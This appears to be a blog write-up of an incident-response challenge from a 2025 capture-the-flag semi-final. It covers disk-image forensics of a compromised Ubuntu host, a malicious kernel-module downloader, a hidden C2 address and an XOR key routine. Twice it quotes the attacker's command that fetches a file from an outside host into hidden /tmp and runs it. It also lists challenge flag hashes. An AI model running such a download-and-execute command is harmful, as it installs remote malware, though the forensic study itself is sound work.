2025长城杯国赛半决赛 应急响应
2025 长城杯 国赛 半决赛
ISW
应急响应


赛场上做应急响应的时候完全是摸不到一点思路,恨不得是见一个ip就交上去试一下..
赛后复现时刻
1
找ip
RStudio加载镜像raw文件



对镜像文件进行扫描


我们能看到 root 目录下没有文件,以及存在非 root 用户 ubuntu
补充一下:如果root目录下没有文件 有限在home目录下找其他用户


注意到有很多被删掉的文件,有个1.txt 很可疑 查看1.txt

wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
这串命令意味着, 曾从http://mirror.unknownrepo.net/f/l/a/g/system_upgrade 下载文件,并储存为 /tmp/.system_upgrade
在去看一下  .vimhostory 看到了 system_upgrade.service服务

vimhistory命令:也就是查看保存在 viminfo 里的历史命令

去查看对应服务文件,得到一下信息,说实话 这些都是干啥的我是真不知道

搜了一下 发现是有关于内核取证的
总的来说,这个服务单元配置文件的作用是在系统进入多用户模式之后,加载 system-upgrade.ko 内核模块,其可能与系统升级的某些功能有关

接着导出对应文件

补充一个xshell导出文件的命令,当然这里用不上
sz 文件名称
文件导出 结果只需要R-Studio恢复文件即可
die查看一下是64位

Tab键反编译


看到被混淆的函数名,选中 x键:查看谁调用了当前选中的函数、变量

先查看第一个位置

能看到又一个被混淆的函数名,追踪这个

能看到有一个hide_ip对应着 192.168.57.203,再看端口,4948和1337,一般情况下是都试一下,但是在我看log文件时有注意到4948端口
故:192.168.57.203:4948,在MD5一下
2
找到木马文件


data存放着数据信息

因此判断 木马文件为 systemd-agentd
R-Studio恢复一下
在将文件MD5一下 工具

flag{BCCAD26B665CA175CD02ACA2903D8B1E}
3
找到 持久化文件也就是下载者,功能是下载并执行远控木马
此时我们能想到刚在看到的文件, /system-upgrade.ko文件是下载着者


flag{78EDBA7CBD107EB6E3D2F90F5ECA734E}
4
找到它的植入痕迹
wget –quiet http://mirror.unknownrepo.net/f/l/a/g/system_upgrade -O /tmp/.system_upgrade && chmod +x /tmp/.system_upgrade && /tmp/.system_upgrade
.system_upgradeMD5
flag{9729aaace6c83b11b17b6bc3b340d00b}
5
分析题目 2 中找到的远控木马,获取木马通信加密密钥
去分析一下 systemd-agentd文件

合理怀疑木马通信加密密钥就是 unk_4BEFFD,追踪

异或
_BYTE *sub_405EC9()
{
    _BYTE *result; // rax
    _BYTE *v1; // rsi
    __int64 i; // rdx
    result = (_BYTE *)sub_42C200(24LL);
    v1 = off_6EB168;
    for (i = 0LL; i != 23; ++i)
        result[i] = v1[i] ^ 0x69;
    off_6EB168 = result;
    return result;
}


                
            
浙公网安备 33010602011771号